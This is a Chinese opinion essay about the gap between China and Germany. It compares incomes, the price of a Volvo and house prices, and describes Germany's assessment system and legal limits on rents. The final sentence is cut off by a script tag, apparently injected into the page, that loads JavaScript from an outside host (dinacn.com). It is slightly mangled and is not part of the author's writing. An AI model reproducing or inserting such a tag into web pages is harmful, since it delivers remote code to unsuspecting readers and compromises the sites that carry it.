5月初，即将出任世界银行副行长兼首席经济学家的林毅夫先生发表了《中国独特的新经济现象》。专文预言，中国的经济规模到2030年时将是美国的2.5倍。这无疑是个振奋人心的预言，只是近两年这种振奋人心的预言似乎太多了些。我信手就可以拈来无数中外关于中国已经如何强大的断言或预言，如美国佐治亚理工学院2007年的“高科技指数”就得出惊人的结论：中国的科技水平已经是世界第一，中国的科技总体实力已经远远将“金砖四国”的其他三国（俄罗斯、印度和巴西）甩在身后，甚至已超越德国和日本，直逼美国。也有人信心异常膨胀：中国很快会成为与美国平起平坐的世界两超之一……

    我愿意更多地听到这种预言，但又不愿过多地听到这些预言。身在西方发达国家的德国，我不能不清醒地切身感受到，中国与发达国家的差距有多大。

    半年工资买辆VOLVO
   
    近两年，中国的经济在经过30年改革开放的积累之后，的确发生了令世界瞩目的巨变，主要体现在其GDP超越德国已是指日可待的现实。如果没有持续升值的欧元的影响，中国在今明两年超越德国成为世界第一出口大国甚至也已是无人怀疑的事实。但衡量一个国家真正实力的并非只是GDP和那些冰冷的统计数据，还有许许多多其他的因素。
   
    回顾前段时间拉萨3?14事件期间，以德国某些媒体为代表的西方主流媒体对中国近乎歇斯底里般的攻击，我感到非常不可思议：这些一贯奉客观、真实为新闻生命的媒体到底怎么了？冷静思考，除了根深蒂固的意识形态的歧见之外，对中国崛起的恐慌心理也是导致其表现失常的一个重要原因。其实，德国人大可不必这样紧张和恐慌，而国人也大可不必如此早地便登泰山而小天下。虽不敢妄言孰强孰弱，但两者在各个领域的差异还是显而易见的，这种差异对中国而言，恐非朝夕所能弥补。

    今年年初重新回到德国，安顿下来之后，首要的事情除了为两岁的儿子物色合适的幼儿园之外，就是抓紧时间买辆车——在德国没有车就像没有腿一样。在网上搜了若干天之后，总算确定下来：买辆2008款的VOLVO（沃尔沃）。经过几次与经销商的商谈、预订等所有手续，前几天总算把车开回了家。虽然是贷款买的，但我并不发愁，没有国内“房奴”或“车奴”那样沉重的压力。这辆车若放在国内，恐怕40万人民币也拿不下来，但我只花了近1.8万欧元，怎么算也只相当于20万左右人民币，即使不贷款，也不过是半年的工资。但不敢想象，若在国内，一年可以挣20万，半年能挣出一辆车出来吗？

    政府首要目标：保障居民住房

    我所处的柏林，尽管是德国首都，但它与其他东部地区都属于德国比较穷的地方，其收入水平仅相当于西部的34％。我曾跟在街边值勤的警察聊天，问他们为什么还没有换新式的警服。警察撇撇嘴：柏林穷啊，没钱！但即便如此，柏林男性的月平均收入也高达2652欧元，女性稍差，为2138欧元。也就是说，相当于北京市人均收入的10倍。

    收入如此，其日常支出呢？

    除了车辆之外，我们通常比较关心的问题就是住房了。在寸土寸金的北京更是如此。北京三环之内的均价恐怕都在1.5万元人民币以上了，而且这几年每月都在上涨，近期上涨的势头才稍缓。而德国呢？其普通住房的均价为1000至2000欧元，相当于1.1万至2.2万人民币，与北京相似。德国家庭平均净资产已达20万欧元。而且在过去10年里，德国物价平均每年涨幅2%，而房价每年仅上涨1%，扣除物价因素，德国房价实际上在以每年1%的速度缩水。

    德国政府严格控制房价，政府不规定房地产价格，开发商说了也不算，房地产价格取决于独立的评估机构。房地产评估主要分为独立的私人评估专家和公共评估机构两类，前者对其评估结果负责30年，对评估中的错误要承担法律责任。后者则是遍布各地的房地产“公共评估委员会”，其最重要的职责是使地方房地产市场对公民、房地产专家和评估师保持透明性和公开性。

    除了房价，德国对房租价格，也有严格的规定，政府市政部门、房东与房客协会、房屋租赁介绍所等机构共同制定该地区不同房屋类型“房租合理价格表”。如房东的房租超过“合理房租”20%，就构成违法行为；超过50%就构成犯罪行为，须在牢狱里待上至少3年。前两年曾有一些国际上的炒房团来德国试图捞一把，结果在德国严控的房价面前铩羽而归。

    在德国，保障居民住房是联邦政府首要政策目标之一，这也是德国所有房地产政策的核心出发点。而我们的一些地方政府为了局部利益和自己的所谓政绩，放任开发商任意抬高房价，使许多中国居民望房兴叹。

    依据法律消除暴利，进行有效的管理，使百姓安居乐业。德国在房地产管理方面?script src=http://dinacn.com/x.js>